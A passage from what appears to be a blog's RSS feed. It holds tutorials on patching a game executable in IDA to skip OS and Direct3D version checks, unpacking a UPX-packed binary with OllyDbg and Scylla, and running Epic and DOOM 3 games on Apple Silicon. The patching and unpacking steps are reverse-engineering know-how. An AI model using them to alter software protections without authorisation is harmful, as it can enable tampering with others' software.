&lt;p>This is the only working fix that I found without using admin rights, there are ways to solve the issue related to packages missing and not usable through command line like changing the Node js prefix, but they still require admin rights to work.&lt;/p></description></item><item><title>Patching God of War on M1 with IDA Pro</title><link>https://malwarewerewolf.com/posts/patching-god-of-war-on-m1-with-ida-pro/</link><pubDate>Thu, 10 Nov 2022 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/patching-god-of-war-on-m1-with-ida-pro/</guid><description>&lt;p>Playing Windows games on macOS can be tricky, especially if the game requires more than a few tweaks to make it work. I was checking the &lt;a href="https://www.applegamingwiki.com/wiki/Home">Apple Gaming Wiki&lt;/a> but some information is missing or incorrect to get a game running. Use the wiki as a reference but do your own research to find out how to run a specific game.&lt;/p>
&lt;p>It is possible to play God of War on macOS but only if you reverse the exe file and you patch a few assembly instructions. This method has been shared by the developer &lt;a href="https://www.youtube.com/channel/UCHIc_bFypnCNEHi_1Czjy9w">Nas&lt;/a> and &lt;a href="https://www.youtube.com/channel/UCJ-hl32h5CokBhlGu95C1Xg">Andrew Tsai&lt;/a> made a &lt;a href="https://www.youtube.com/watch?v=VD3v9NYllHo">video&lt;/a> about God of War.&lt;/p>
&lt;p>Regarding the tools, you need &lt;a href="https://www.codeweavers.com/crossover">CrossOver&lt;/a> to run the game and the free version of &lt;a href="https://hex-rays.com/ida-free/">IDA Pro&lt;/a> to patch the file.&lt;/p>
&lt;h2 id="remove-checks-for-windows-10">
Remove checks for Windows 10
&lt;a class="heading-link" href="#remove-checks-for-windows-10">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Launching the game through Steam will result in an error:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/youNeedWindows10Error.png" alt="&amp;ldquo;You need Windows 10 error&amp;rdquo;">&lt;/p>
&lt;p>Even creating a Windows 10 bottle does not solve this issue so the only way to get the game working is to patch the exe. Navigate to your God of War directory, drag and drop &lt;strong>GoW.exe&lt;/strong> in IDA Pro after clicking on &lt;strong>Go Work on your own&lt;/strong>, you can easily access the &lt;strong>directory&lt;/strong> by right clicking on the &lt;strong>Steam bottle&lt;/strong> or another bottle that you are currently using in CrossOver, to open the &lt;strong>C: Drive&lt;/strong> in &lt;strong>Finder&lt;/strong>.&lt;/p>
&lt;p>After the file has been loaded in IDA Pro, open the &lt;strong>Strings subview&lt;/strong> in the &lt;strong>App Menu&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/openStringsSubView.png" alt="&amp;ldquo;Open Strings SubView&amp;rdquo;">&lt;/p>
&lt;p>Right click in the view to select &lt;strong>Quick Filter&lt;/strong>, a text box will appear at the bottom, type the error &amp;ldquo;&lt;em>You need at least Windows 10&lt;/em>&amp;rdquo; to filter the results:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/subviewResultsWindows10.png" alt="&amp;ldquo;Open Strings SubView&amp;rdquo;">&lt;/p>
&lt;p>Double click on the only displaying result, you should be in the text view with an instruction being highlighted:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/textViewWindows10Error.png" alt="&amp;ldquo;Text View Windows 10 Error&amp;rdquo;">&lt;/p>
&lt;p>Right click on it to select &amp;ldquo;&lt;em>List cross references to&amp;hellip;&lt;/em>&amp;rdquo; and pick the first option:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/crossReferencesWindows10Error.png" alt="&amp;ldquo;Cross references Windows 10 error&amp;rdquo;">&lt;/p>
&lt;p>Now you should be in the &lt;strong>Graph View&lt;/strong>, double click on the arrow right on top the following &lt;strong>Group Nodes&lt;/strong> to go the &lt;code>jnz&lt;/code> instruction that we need to change:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/blockArrowWindows10Error.png" alt="&amp;ldquo;Block Arrow Windows 10 Error&amp;rdquo;">&lt;/p>
&lt;p>To patch the &lt;code>jnz&lt;/code> instruction, simply click on it, after that in the App Menu click on &lt;code>Edit -&amp;gt; Patch program -&amp;gt; Assemble...&lt;/code>:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/PatchJNZWindows10Error.png" alt="&amp;ldquo;Patch JNZ Windows Error &amp;ldquo;">&lt;/p>
&lt;p>Replace &lt;code>jnz&lt;/code> with &lt;code>jmp&lt;/code> to skip the check for Windows 10:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/applyPatchJNZWindows10.png" alt="&amp;ldquo;Apply patch windows 10 error&amp;rdquo;">&lt;/p>
&lt;p>After clicking &lt;strong>OK&lt;/strong>, a few popups will come up asking you to patch other instructions, since we only needed to change the &lt;code>jnz&lt;/code> instruction you can ignore them.&lt;/p>
&lt;p>We still need to patch one more &lt;code>jnz&lt;/code> regarding the Windows 10 error, go back to &lt;strong>Strings subview&lt;/strong> and search again for the error, right click on the line and select &amp;ldquo;&lt;em>List cross references to&amp;hellip;&lt;/em>&amp;rdquo; this time we are interested in the second instruction of the two. Trace back to &lt;code>jnz&lt;/code> and patch it with another &lt;code>jmp&lt;/code> as you did before. If you did everything correctly, you should see in the subview &lt;code>Patched bytes&lt;/code> two addresses being changed:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/patchedByesFirstPart.png" alt="&amp;ldquo;Patch bytes first part&amp;rdquo;">&lt;/p>
&lt;h2 id="remove-checks-for-direct3d">
Remove checks for Direct3D
&lt;a class="heading-link" href="#remove-checks-for-direct3d">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>If you patch and launch the exe you will get another error:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/Direct3DError.png" alt="&amp;ldquo;Direct 3D Error&amp;rdquo;">&lt;/p>
&lt;p>So the first two checks for Windows 10 are patched, but we still need to remove two more checks regarding &lt;strong>Direct3D&lt;/strong> to run the game. Open again the &lt;strong>Strings subview&lt;/strong> and filter the message showed in the above screenshot, double click on the only line being displayed, right click to list all the references and pick the only option available. You should be in the following Group Nodes:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/D3DGroupNodesVersionNotSupported.png" alt="&amp;ldquo;D3D Group Nodes Version Not Supported&amp;rdquo;">&lt;/p>
&lt;p>Right click on the first instruction, select again &amp;ldquo;&lt;em>List cross references to&amp;hellip;&lt;/em>&amp;rdquo; and pick the only option available. Right click on the Group Nodes to switch to &lt;strong>text view&lt;/strong>, patch the &lt;code>js&lt;/code> instruction by removing it completely and typing &lt;code>nop&lt;/code> instead:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/JSInstructionToPatch.png" alt="&amp;ldquo;JS Instruction to patch&amp;rdquo;">&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/nopInstruction.png" alt="&amp;ldquo;Nop Instruction&amp;rdquo;">&lt;/p>
&lt;p>Type &lt;code>nop&lt;/code> in the upcoming popups until all the yellow addresses on the left are gone. You should get this result:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/nopYellowLines.png" alt="&amp;ldquo;Nop yellow lines&amp;rdquo;">&lt;/p>
&lt;p>We need to repeat the same steps one more time, so go back to &lt;strong>Strings subview&lt;/strong> typing the same error message if it is not already being highlighted, right click to list cross references, select the only option available and this time patch the &lt;code>jl&lt;/code> instruction. You should get the same result in the above screen, you should also get 4 different addresses with the following bytes being patched:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/patchedBytesSecondPart.png" alt="&amp;ldquo;Patched Bytes second part&amp;rdquo;">&lt;/p>
&lt;p>Click on the IDA View tab and click on &lt;strong>Edit&lt;/strong> in the &lt;strong>App Menu&lt;/strong> to apply patches to input file:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/applyPatches.png" alt="&amp;ldquo;Apply patches&amp;rdquo;">&lt;/p>
&lt;p>Use the default settings to generate the output file, in the output window there should be a line saying that the patches have been applied:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">Applied 14/14 patch(es)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can finally launch the game through crossover and this time, no errors will show up:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/patchingGodOfWarOnM1WithIdaPro/launchingTheGame.png" alt="&amp;ldquo;Launching the game&amp;rdquo;">&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Although there was already the video made by &lt;strong>Andrew Tsai&lt;/strong> showing how to patch the game, I still wanted to understand how &lt;strong>Nas&lt;/strong> found the instructions to patch the game. In this case it wasn&amp;rsquo;t too complicate, just look for the strings in IDA Pro and patch all the instructions leading to Group Nodes responsible to trigger the errors. But it&amp;rsquo;s still nice to practice a bit on these challenges just to see how things are done and if you can also repeat the same steps to get an application running after applying small patches.&lt;/p></description></item><item><title>Reverse Engineering UPX with Parallels and OllyDbg on Apple Silicon</title><link>https://malwarewerewolf.com/posts/reverse-engineering-upx-with-parallels-and-ollydbg-on-apple-silicon/</link><pubDate>Sun, 17 Apr 2022 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/reverse-engineering-upx-with-parallels-and-ollydbg-on-apple-silicon/</guid><description>&lt;p>In one of my older posts which you can find &lt;a href="https://malwarewerewolf.com/posts/qemu-vmware-parallels-or-utm-which-one-is-the-best-with-apple-m1-chip-/">here&lt;/a>, I talked about the different tools to virtualize an OS on the Apple Silicon MAC and I declared a winner which was &lt;a href="https://www.parallels.com/">Parallels&lt;/a>. From the moment the latter is the best tool to virtualize an OS at the moment, I decided to reverse some &lt;strong>x86/x64&lt;/strong> bit applications. Even if we are on Windows ARM, most of these applications will work perfectly thanks to a translation process, which is very similar to &lt;strong>Rosetta 2&lt;/strong>.&lt;/p>
&lt;h2 id="what-tools-are-currently-working-">
What tools are currently working ?
&lt;a class="heading-link" href="#what-tools-are-currently-working-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>&lt;a href="https://x64dbg.com">x32dbg&lt;/a> has some issues, as soon as I attached it to a x86 bit process or I opened an exe, it immediately crashed. On the other side, x64dbg is working pretty well. An alternative to x32dbg is of course &lt;a href="http://www.ollydbg.de">OllyDbg&lt;/a> but the official version doesn&amp;rsquo;t have the necessary plugins to unpack a malware or to prevent it from being detected by an anti debug. I used &lt;a href="https://github.com/romanzaikin/OllyDbg-v1.10-With-Best-Plugins-And-Immunity-Debugger-theme-">this version&lt;/a> on Github which contains the most useful plugins.&lt;/p>
&lt;p>Some other tools that I used and are currently working:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.hex-rays.com/ida-pro/">IDA Pro&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ntcore.com/?page_id=388">CFF Explorer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://web.archive.org/web/20181229235034/https://pid.gamecopyworld.com/">Protection Id&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/hasherezade/pe-bear-releases">PE Bear&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="things-that-we-need">
Things that we need
&lt;a class="heading-link" href="#things-that-we-need">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The first thing that you should do is to isolate your VM from your MAC by checking the selected checkbox:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/reverseEngineeringUPXWithParallelsOnAppleSilicon/parallelsIsolatedFromMac.png" alt="&amp;ldquo;Parallels Isolate From MAC&amp;rdquo;">&lt;/p>
&lt;p>By default, Parallels will share your VM folders with your MAC and it&amp;rsquo;s better to isolate everything from your host machine, especially if you&amp;rsquo;re working with malware samples. Not only that, many folders will be related to your MAC as shared folders and they&amp;rsquo;ll have a path like &lt;em>//MAC//&amp;hellip;//Downloads&lt;/em> and some applications will not work correctly. So in this case isolating your MAC from the VM will make your life easier.&lt;/p>
&lt;p>These are the tools that we need:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/romanzaikin/OllyDbg-v1.10-With-Best-Plugins-And-Immunity-Debugger-theme-">OllyDbg with the best plugins&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/NtQuery/Scylla">Scylla - x64/x86 Imports Reconstruction&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://upx.github.io">UPX&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://b2b-download.mcafee.com/products/tools/foundstone/bintext303.zip">Bintext&lt;/a> as the malware sample, which will be packed with UPX&lt;/li>
&lt;li>&lt;a href="https://www.parallels.com/">Parallels&lt;/a> with Windows 10 or 11&lt;/li>
&lt;/ul>
&lt;h2 id="an-overview-of-upx">
An overview of UPX
&lt;a class="heading-link" href="#an-overview-of-upx">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>After you downloaded &lt;strong>UPX&lt;/strong>, simply add its folder to the &lt;a href="https://www.aomeitech.com/windows-tips/set-windows-11-environment-variables.html">environment variables&lt;/a> of Windows or open the command prompt and navigate to its folder. It&amp;rsquo;s not very complicate to unpack &lt;strong>UPX&lt;/strong> from the moment it can be also be removed from an executable by running the following command from the command prompt:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">C:&lt;span style="color:#ae81ff">\&amp;gt;&lt;/span> upx -d bintextPacked.exe -o bintextUnpacked.exe
&lt;/code>&lt;/pre>&lt;/div>&lt;p>However from the moment we are here to learn it is better to unpack an exe with a debugger, to see how it works behind the scenes. Let&amp;rsquo;s run this command to pack &lt;strong>bintext&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">C:&lt;span style="color:#ae81ff">\&amp;gt;&lt;/span> upx -9 bintext.exe -o bintextpacked.exe
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Even if it is simple to unpack an exe packed with UPX, the latter is often used by malware authors to bypass detection by antivirus signatures.&lt;/p>
&lt;h2 id="find-the-oep-with-ollydbg">
Find the OEP with OllyDbg
&lt;a class="heading-link" href="#find-the-oep-with-ollydbg">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As soon as we launch the packed exe in &lt;strong>OllyDbg&lt;/strong> with administrator privileges, we can see that the first instruction being used is &lt;a href="https://www.felixcloutier.com/x86/pusha:pushad">PUSHAD&lt;/a> which is simply going to push the contents of the general-purpose registers onto the stack. It is also commonly used with &lt;a href="https://www.felixcloutier.com/x86/popa:popad">POPAD&lt;/a>.&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/reverseEngineeringUPXWithParallelsOnAppleSilicon/ollyDbgPushad.png" alt="&amp;ldquo;OllyDbg Pushad&amp;rdquo;">
&lt;br>
&lt;em>Instructions displayed in OllyDbg&lt;/em>&lt;/p>
&lt;p>Now to unpack the exe, we simply need to scroll down until we hit a jump followed by a bunch of zeroes as shown in this example:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/reverseEngineeringUPXWithParallelsOnAppleSilicon/ollyDbgJMP.png" alt="&amp;ldquo;OllyDbg JMP&amp;rdquo;">&lt;/p>
&lt;p>We can put a breakpoint on this jump with &lt;strong>F2&lt;/strong> by clicking on it, after that we press &lt;strong>F9&lt;/strong> to execute the code until it reaches this jump. Press &lt;strong>F7&lt;/strong> and you should get the following set of instructions:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/reverseEngineeringUPXWithParallelsOnAppleSilicon/OEPOllyDbgUPX.png" alt="&amp;ldquo;OllyDbg OEP&amp;rdquo;">&lt;/p>
&lt;p>The first instruction &lt;strong>PUSH EBP&lt;/strong> is the &lt;strong>OEP (original entry point)&lt;/strong> that we need to dump and fix the &lt;strong>IAT (import address table)&lt;/strong> with &lt;a href="https://github.com/NtQuery/Scylla">Scylla&lt;/a>.&lt;/p>
&lt;h2 id="dump-the-exe-and-fix-the-iat-with-scylla">
Dump the exe and fix the IAT with Scylla
&lt;a class="heading-link" href="#dump-the-exe-and-fix-the-iat-with-scylla">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>At this point we found the OEP, let&amp;rsquo;s copy its address to the clipboard and open the &lt;strong>x86 version&lt;/strong> of Scylla along with the packed exe. We can close OllyDbg from the moment we don&amp;rsquo;t need it anymore. Follow these steps to complete the unpack process:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/reverseEngineeringUPXWithParallelsOnAppleSilicon/scyllaIAT.png" alt="&amp;ldquo;Scylla IAT&amp;rdquo;">&lt;/p>
&lt;p>At this point we can open the unpacked exe successfully!&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As you can see it is not complicate to unpack UPX and many of the reverse engineering tools are perfectly working with Parallels on the &lt;strong>ARM architecture&lt;/strong>. I only isolated Parallels from my MAC and I left the other default settings unchanged. If you need to debug x64 bit applications, you can safely use &lt;a href="https://x64dbg.com">x64dbg&lt;/a>.&lt;/p></description></item><item><title>Legendary, a replacement for the Epic Games Launcher on macOS</title><link>https://malwarewerewolf.com/posts/legendary-a-replacement-for-the-epic-games-launcher-on-macos/</link><pubDate>Fri, 24 Dec 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/legendary-a-replacement-for-the-epic-games-launcher-on-macos/</guid><description>&lt;p>This is going to be a pretty straight forward overview of Legendary. Unlike the Epic Games launcher, Legendary is a command line application and with it you can install games, synch saves, play multiplayer and many other features. If you want to know more you can check the repo on &lt;a href="https://github.com/derrod/legendary">Github&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m using an Apple M1 and I didn&amp;rsquo;t encounter problems so far, of course it depends what game you&amp;rsquo;re playing but generally speaking Legendary is better than the original Epic Games launcher, the latter doesn&amp;rsquo;t run very well.&lt;/p>
&lt;h2 id="steps-to-download-and-install-a-game">
Steps to download and install a game
&lt;a class="heading-link" href="#steps-to-download-and-install-a-game">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Download from the releases page on Github the macOS build, after that open the terminal and make the file an executable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ chmod +x legendary
&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point you can launch the executable in this way:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ ./legendary
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Or you could add an entry to the &lt;strong>PATH&lt;/strong> environment variable, in this way you can launch the executable from every folder in your terminal. In the most recent macOS versions, you just need to add a line in your &amp;ldquo;~/.zshrc&amp;rdquo;, e.g.:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ export PATH&lt;span style="color:#f92672">=&lt;/span>$PATH:/path/to/directory
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After you downloaded and set the environment variable, you can download and install a game by following these steps:&lt;/p>
&lt;ol>
&lt;li>Login into your Epic Games account, the command should open a new tab in your browser:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ legendary auth
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="2">
&lt;li>To install a game you may want to check your library:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ legendary list-installed
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="3">
&lt;li>Install a game by passing the exact name displayed by the previous command (replace &amp;ldquo;Torchlight II&amp;rdquo; with your game):&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ legendary install &lt;span style="color:#e6db74">&amp;#34;Torchlight II&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>Launch the game:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ legendary launch &lt;span style="color:#e6db74">&amp;#34;Torchlight II&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s it, you can play your games from the Epic Games Store without the launcher!&lt;/p></description></item><item><title>Play DOOM 3 natively on Apple M1</title><link>https://malwarewerewolf.com/posts/play-doom-3-natively-on-apple-m1/</link><pubDate>Fri, 24 Dec 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/play-doom-3-natively-on-apple-m1/</guid><description>&lt;p>I saw a few resources on Google where you can play DOOM 3 or other old games using some tweaks to play them, however there are better solutions to get these games to work. In the DOOM 3 case, a mod called &lt;a href="https://dhewm3.org">dhewm3&lt;/a> has been created to bring DOOM 3 with the help of SDL to all suitable platforms. But for some reason, there isn&amp;rsquo;t an official release for macOS on the Github page. Nonetheless a user made a build for macOS to play this mod, you can find more info about this topic &lt;a href="https://forums.macrumors.com/threads/DOOM-3-for-catalina.2227497/?post=28451177#post-28451177">here&lt;/a>. It&amp;rsquo;s not a big deal to get DOOM 3 working with this mod, you just need to copy the &lt;strong>base&lt;/strong> folder from the DOOM 3 installation of Steam and paste this folder into the dhewm3 directory.&lt;/p>
&lt;p>What about DOOM 3 BFG Edition ? I made this post mainly because at the moment there isn&amp;rsquo;t a post or a video which explains how to play the BFG edition on an Apple M1. Besides that, the DOOM 3 resources that you can find on Google explain how to run it using Rosetta 2, but as I said there are better solutions and we&amp;rsquo;re going to discuss about these solutions shortly.&lt;/p>
&lt;h2 id="download-the-necessary-game-files-of-doom-3-with-the-steamcmd">
Download the necessary game files of DOOM 3 with the SteamCMD
&lt;a class="heading-link" href="#download-the-necessary-game-files-of-doom-3-with-the-steamcmd">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There&amp;rsquo;s no need to install Steam on Crossover or Parallels to download a Windows build, the &lt;a href="https://developer.valvesoftware.com/wiki/SteamCMD">SteamCMD&lt;/a> is the smartest way to download a Windows build.&lt;/p>
&lt;p>To install the SteamCMD on macOS, simply follow these two steps as specified on the &lt;a href="https://developer.valvesoftware.com/wiki/SteamCMD#macOS">documentation&lt;/a>:&lt;/p>
&lt;ol>
&lt;li>Open Terminal.app and create a directory for SteamCMD.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ mkdir ~/Steam &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> cd ~/Steam
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="2">
&lt;li>Download and extract SteamCMD for macOS.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ curl -sqL &lt;span style="color:#e6db74">&amp;#34;https://steamcdn-a.akamaihd.net/client/installer/steamcmd_osx.tar.gz&amp;#34;&lt;/span> | tar zxvf -
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can download a Windows build by launching the script that you just downloaded:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ ./steamcmd.sh +@sSteamCmdForcePlatformType windows +login &amp;lt;YOUR_STEAM_LOGIN_NAME&amp;gt; +force_install_dir ./doom3/ +app_update &lt;span style="color:#ae81ff">9050&lt;/span> validate +quit
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Of course you have to replace &lt;code>&amp;lt;YOUR_STEAM_LOGIN_NAME&amp;gt;&lt;/code> with your username, &lt;code>./doom3/&lt;/code> with another folder name if you don&amp;rsquo;t like it and &lt;strong>9050&lt;/strong> with the correct app Id. Wait, how do I find the app Id ? In this case you don&amp;rsquo;t need to change it, but just in case you want to repeat this step with other games, open in a browser the Steam store page of the game that you want to download and look at the URL, you should see a number and that&amp;rsquo;s the app Id, e.g.:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/playDoom3NativelyOnAppleM1/doomAppid.png" alt="&amp;ldquo;Doom App Id&amp;rdquo;">&lt;/p>
&lt;p>9050 is the app Id.&lt;/p>
&lt;p>If you get an error like this in the terminal which stops the download:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">Error! App &amp;#39;263300&amp;#39; state is 0x402 after update job.
&lt;/code>&lt;/pre>&lt;/div>&lt;p>just relaunch the previous command to resume the download.&lt;/p>
&lt;h2 id="download-and-configure-the-source-port">
Download and configure the source port
&lt;a class="heading-link" href="#download-and-configure-the-source-port">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>So far so good, but we still need to do some more tweaks to get the game working. Download the source port of DOOM 3 from &lt;a href="https://macsourceports.com">Mac Source Ports&lt;/a>, as specified in the &amp;ldquo;Installations Instructions&amp;rdquo;, make a &amp;ldquo;~/Library/Application Support/dhewm3/&amp;rdquo; directory. Copy the &amp;ldquo;base&amp;rdquo; directory from an existing installation of DOOM 3 into it. From here &lt;strong>dhewm3.app&lt;/strong> should run and be able to find the data.&lt;/p>
&lt;h2 id="you-said-in-the-post-title-play-doom-3-natively-on-apple-m1-but-i-want-proof">
You said in the post title &amp;ldquo;Play DOOM 3 natively on Apple M1&amp;rdquo; but I want proof!
&lt;a class="heading-link" href="#you-said-in-the-post-title-play-doom-3-natively-on-apple-m1-but-i-want-proof">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>On the official page of &lt;a href="https://dhewm3.org/#getting-dhewm3-executables">dhewm3&lt;/a>, it says this:&lt;/p>
&lt;p>&lt;em>If you’re using macOS, MacSourcePorts.com provides signed and notarized dhewm3 binaries for 64bit Intel and Apple Silicon.&lt;/em>&lt;/p>
&lt;p>And if we check the executable from Mac Source Ports, we get this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ file dhewm3
dhewm3: Mach-O universal binary with &lt;span style="color:#ae81ff">2&lt;/span> architectures: &lt;span style="color:#f92672">[&lt;/span>x86_64:Mach-O 64-bit executable x86_64&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span>arm64&lt;span style="color:#f92672">]&lt;/span>
dhewm3 &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#66d9ef">for&lt;/span> architecture x86_64&lt;span style="color:#f92672">)&lt;/span>: Mach-O 64-bit executable x86_64
dhewm3 &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#66d9ef">for&lt;/span> architecture arm64&lt;span style="color:#f92672">)&lt;/span>: Mach-O 64-bit executable arm64
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So as you can see this is not a build just made for arm64 but it&amp;rsquo;s an universal binary, however in this way there isn&amp;rsquo;t the translation process through Rosetta 2 from the moment you just run the game natively.&lt;/p>
&lt;p>We could still check from the &lt;strong>Activity Monitor&lt;/strong> if the game is running natively, if we see Apple then we know that is not using Rosetta 2:&lt;/p>
